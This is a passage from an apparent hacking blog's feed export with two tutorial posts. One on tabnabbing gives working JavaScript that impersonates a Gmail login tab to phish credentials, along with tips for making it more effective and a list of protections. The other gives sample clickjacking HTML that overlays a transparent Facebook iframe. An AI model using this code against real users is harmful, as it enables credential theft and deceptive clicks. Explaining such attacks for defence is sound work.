small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/5760947711733445481/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/06/indo-pak-cyber-war.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5760947711733445481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5760947711733445481'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/06/indo-pak-cyber-war.html' title='INDO-PAK CYBER WAR'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-iGqYnZh0_l8/TfChxEpz9DI/AAAAAAAAAdY/kFGyJ3OVTqs/s72-c/1.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-4726577880570739003</id><published>2011-04-18T21:16:00.000-07:00</published><updated>2013-06-09T11:29:19.583-07:00</updated><title type='text'>TABNABBING</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;What is Tabnabbing ?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Tabnabbing&lt;/b&gt; is a computer exploit and phishing attack, which persuades users to submit their login details and passwords to popular Web sites by impersonating those sites and convincing the user that the site is genuine. The attack&#39;s name was coined in early 2010 by &lt;i&gt;Aza Raskin&lt;/i&gt;, a security researcher and design expert.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-k6ciEl6dOQ0/Ta0NT52JW7I/AAAAAAAAAc8/XxHLEd_cecY/s1600/1.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5597144547487996850&quot; src=&quot;http://4.bp.blogspot.com/-k6ciEl6dOQ0/Ta0NT52JW7I/AAAAAAAAAc8/XxHLEd_cecY/s320/1.jpg&quot; style=&quot;cursor: pointer; display: block; height: 150px; margin: 0px auto 10px; text-align: center; width: 300px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;How Tabnabbing Works ?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. A user navigates to your normal looking site.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2. You detect when the page has lost its focus and hasn’t been interacted with for a while.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. Replace the favicon with the Gmail favicon, the title with “Gmail: Email from Google”, and the page with a Gmail login look-a-like. This can all be done with just a little bit of Javascript that takes place instantly.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;4. As the user scans their many open tabs, the favicon and title act as a strong visual cue - memory is malleable and moldable and the user will most likely simply think they left a Gmail tab open. When they click back to the fake Gmail tab, they’ll see the standard Gmail login page, assume they’ve been logged out, and provide their credentials to log in. The attack preys on the perceived immutability of tabs.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;5. After the user has entered their login information and you’ve sent it back to your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.blogger.com/video.g?token=AD6v5dwJTHSPPTyybGY6zrIofb56o_EHVgvjl0N8ig5s0ExnVFz6F5feg7d_BRYMo-ScIGID2fI1M9Skbj181B3u9w&#39; class=&#39;b-hbp-video b-uploaded&#39; frameborder=&#39;0&#39; /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;You can make this attack even more effective by changing the copy: Instead of having just a login screen, you can mention that the session has timed out and the user needs to re-authenticate. This happens often on bank websites, which makes them even more susceptible to this kind of attack.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-YMdfZHpMyac/Ta0OFwLF2PI/AAAAAAAAAdE/E2uCxCb-WEU/s1600/2.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5597145403884951794&quot; src=&quot;http://4.bp.blogspot.com/-YMdfZHpMyac/Ta0OFwLF2PI/AAAAAAAAAdE/E2uCxCb-WEU/s400/2.png&quot; style=&quot;cursor: pointer; display: block; height: 150px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Source Code:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; font-family: inherit; height: 150px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;(function(){&lt;br /&gt;&lt;br /&gt;var TIMER = null;&lt;br /&gt;var HAS_SWITCHED = false;&lt;br /&gt;&lt;br /&gt;window.onblur = function(){&lt;br /&gt;TIMER = setTimeout(changeItUp, 5000);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;window.onfocus = function(){&lt;br /&gt;if(TIMER) clearTimeout(TIMER);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function setTitle(text){ document.title = text; }&lt;br /&gt;&lt;br /&gt;favicon = {&lt;br /&gt;docHead: document.getElementsByTagName(&quot;head&quot;)[0],&lt;br /&gt;set: function(url){&lt;br /&gt;this.addLink(url);&lt;br /&gt;},&lt;br /&gt;&lt;br /&gt;addLink: function(iconURL) {&lt;br /&gt;var link = document.createElement(&quot;link&quot;);&lt;br /&gt;link.type = &quot;image/x-icon&quot;;&lt;br /&gt;link.rel = &quot;shortcut icon&quot;;&lt;br /&gt;link.href = iconURL;&lt;br /&gt;this.removeLinkIfExists();&lt;br /&gt;this.docHead.appendChild(link);&lt;br /&gt;},&lt;br /&gt;&lt;br /&gt;removeLinkIfExists: function() {&lt;br /&gt;var links = this.docHead.getElementsByTagName(&quot;link&quot;);&lt;br /&gt;for (var i=0; i&amp;lt;links.length; i++) {&lt;br /&gt;var link = links[i];&lt;br /&gt;if (link.type==&quot;image/x-icon&quot; &amp;amp;&amp;amp; link.rel==&quot;shortcut icon&quot;) {&lt;br /&gt;this.docHead.removeChild(link);&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;},&lt;br /&gt;&lt;br /&gt;get: function() {&lt;br /&gt;var links = this.docHead.getElementsByTagName(&quot;link&quot;);&lt;br /&gt;for (var i=0; i&amp;lt;links.length; i++) {&lt;br /&gt;var link = links[i];&lt;br /&gt;if (link.type==&quot;image/x-icon&quot; &amp;amp;&amp;amp; link.rel==&quot;shortcut icon&quot;) {&lt;br /&gt;return link.href;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function createShield(){&lt;br /&gt;div = document.createElement(&quot;div&quot;);&lt;br /&gt;div.style.position = &quot;fixed&quot;;&lt;br /&gt;div.style.top = 0;&lt;br /&gt;div.style.left = 0;&lt;br /&gt;div.style.backgroundColor = &quot;white&quot;;&lt;br /&gt;div.style.width = &quot;100%&quot;;&lt;br /&gt;div.style.height = &quot;100%&quot;;&lt;br /&gt;div.style.textAlign = &quot;center&quot;;&lt;br /&gt;document.body.style.overflow = &quot;hidden&quot;;&lt;br /&gt;&lt;br /&gt;img = document.createElement(&quot;img&quot;);&lt;br /&gt;img.style.paddingTop = &quot;15px&quot;;&lt;br /&gt;img.src = &quot;http://img.skitch.com/20100524-b639xgwegpdej3cepch2387ene.png&quot;;&lt;br /&gt;&lt;br /&gt;var oldTitle = document.title;&lt;br /&gt;var oldFavicon = favicon.get() || &quot;/favicon.ico&quot;;&lt;br /&gt;&lt;br /&gt;div.appendChild(img);&lt;br /&gt;document.body.appendChild(div);&lt;br /&gt;img.onclick = function(){&lt;br /&gt;div.parentNode.removeChild(div);&lt;br /&gt;document.body.style.overflow = &quot;auto&quot;;&lt;br /&gt;setTitle(oldTitle);&lt;br /&gt;favicon.set(oldFavicon)&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function changeItUp(){&lt;br /&gt;if( HAS_SWITCHED == false ){&lt;br /&gt;createShield(&quot;https://mail.google.com&quot;);&lt;br /&gt;setTitle( &quot;Gmail: Email from Google&quot;);&lt;br /&gt;favicon.set(&quot;https://mail.google.com/favicon.ico&quot;);&lt;br /&gt;HAS_SWITCHED = true;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;})();&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Protection:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. Keep your web browser up-to-date. Also make sure that plugins and extensions are up-to-date and from trusted sources.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2. The &lt;i&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/noscript/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;NoScript&lt;/span&gt;&lt;/a&gt;&lt;/i&gt; extension for Firefox defends both from the JavaScript-based and from the scriptless attack, based on meta refresh, by preventing inactive tabs from changing the location of the page.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. Pay attention to the address in your browser’s toolbar, especially when it comes to login pages. It’s easy to get into muscle-memory mode and just assume that a tab is unchanged, but for important user accounts, keep an eye on that location bar.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;4. Consider using some sort of password management tool. Raskin points to the Firefox Account Manager as one method of using the browser for your identity manager, but plugins and tools like &lt;i&gt;&lt;a href=&quot;http://agilewebsolutions.com/products/1Password&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;1Password&lt;/span&gt;&lt;/a&gt;&lt;/i&gt; are good choices too. Rather than typing in user names and passwords individually, using an identity manager that compares the site you are on against the stored data in its database (making sure the addresses and DNS addresses matchup) will prevent you from entering in information into a false site.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-W4SheH6E0Mc/Ta0ZbP3j99I/AAAAAAAAAdM/2P3p5zELKKc/s1600/3.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5597157867798132690&quot; src=&quot;http://3.bp.blogspot.com/-W4SheH6E0Mc/Ta0ZbP3j99I/AAAAAAAAAdM/2P3p5zELKKc/s400/3.jpg&quot; style=&quot;cursor: pointer; display: block; height: 153px; margin: 0px auto 10px; text-align: center; width: 250px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/4726577880570739003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/04/tabnabbing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4726577880570739003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4726577880570739003'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/04/tabnabbing.html' title='TABNABBING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-k6ciEl6dOQ0/Ta0NT52JW7I/AAAAAAAAAc8/XxHLEd_cecY/s72-c/1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-3066362626380998059</id><published>2011-04-18T02:31:00.000-07:00</published><updated>2013-06-09T11:29:52.648-07:00</updated><title type='text'>CLICKJACKING</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;What is Clickjacking ?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Clickjacking&lt;/b&gt; is a malicious technique of tricking web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-zPjHbUZl0JI/TawHuzF83jI/AAAAAAAAAcE/ag9JHUoFBsY/s1600/1.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596856937485229618&quot; src=&quot;http://2.bp.blogspot.com/-zPjHbUZl0JI/TawHuzF83jI/AAAAAAAAAcE/ag9JHUoFBsY/s400/1.jpg&quot; style=&quot;cursor: pointer; display: block; height: 207px; margin: 0px auto 10px; text-align: center; width: 285px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Clickjacking involves generating a fake graphical overlay on top of an existing Web page in order to visually change the Web page while preserving its functionality (buttons, forms, etc.). This is done with the intension of misleading users to interact with the hidden Web page while they believe they are interacting with a completely different Web site.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Description:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Using only CSS Z-INDEX and HTML IFRAME, an attacker can create a transparent victim web page that contains privileged buttons. Underneath this transparent IFRAME, the attacker puts content, like a game, that entices the user to click.  You may think you&#39;re playing a game, when you&#39;re actually starting a webcam recording.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Sample Script Code:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 100px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;html&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;z-index:2; position:absolute;top:0; left:0;width: 70%; height:70%&quot;&amp;gt;&lt;br /&gt;&amp;lt;iframe src=&quot;http://www.facebook.com/home.php?&quot; id=&quot;frame1&quot; style=&quot;opacity:0.4;filter:alpha(opacity=40); &quot; width=&quot;100%&quot; height=&quot;100%&quot; onmouseover=&quot;this.style.opacity=.5;this.filters.alpha.opacity=50&quot; onmouseout=&quot;this.style.opacity=0;this.filters.alpha.opacity=0&quot;/&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div align=&quot;right&quot; style=&quot;position:absolute; top:0; left:0; z-index:1; width: 70%;height:70%; background-color: yellow;text-align:left;&quot;&amp;gt;&lt;br /&gt;&amp;lt;strong&amp;gt;This is an example of how a simple clickjacking attack is done by a malicious site.&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Example-1:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-dOsDtcx0IUc/TawK6clHQTI/AAAAAAAAAcM/9uRZHInlQ5g/s1600/2.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596860436135231794&quot; src=&quot;http://3.bp.blogspot.com/-dOsDtcx0IUc/TawK6clHQTI/AAAAAAAAAcM/9uRZHInlQ5g/s400/2.jpg&quot; style=&quot;cursor: pointer; display: block; height: 189px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In this example, an attacker carries the clickjacking attack using a technique called IFrame overlays. In this technique, the malicious Web page includes code that generates the fake UI and an IFrame that points to an email application at a different domain. When the two are combined the top-level page covers portions of the IFrame in order expose only the “Yes” button and the user can be easily tricked into deleting all messages in his inbox.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Example-2:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;One of the most notorious examples of Clickjacking was an attack against the Adobe Flash plugin settings page. By loading this page into an invisible iframe, an attacker could trick a user into altering the security settings of Flash, giving permission for any Flash animation to utilize the computer&#39;s microphone and camera.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-CKTQ3wSFUA4/TawMlgH7-cI/AAAAAAAAAcc/PMLHNw2rGMc/s1600/3.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596862275332602306&quot; src=&quot;http://4.bp.blogspot.com/-CKTQ3wSFUA4/TawMlgH7-cI/AAAAAAAAAcc/PMLHNw2rGMc/s320/3.png&quot; style=&quot;cursor: pointer; display: block; height: 291px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Example-3:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ClickJacking is similar to many others scams which attacked Facebook over the years. It attracts users with status like “&lt;i&gt;OMG This Guy Went a Little Too Far with His Revenge on His Ex-Girlfriend&lt;/i&gt;”. On clicking the link it asks users to complete a validation test to ensure that the response is not computer. However, by responding users are actually clicking Facebook’s “share” and “like” buttons, while also posting the message to their wall.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div 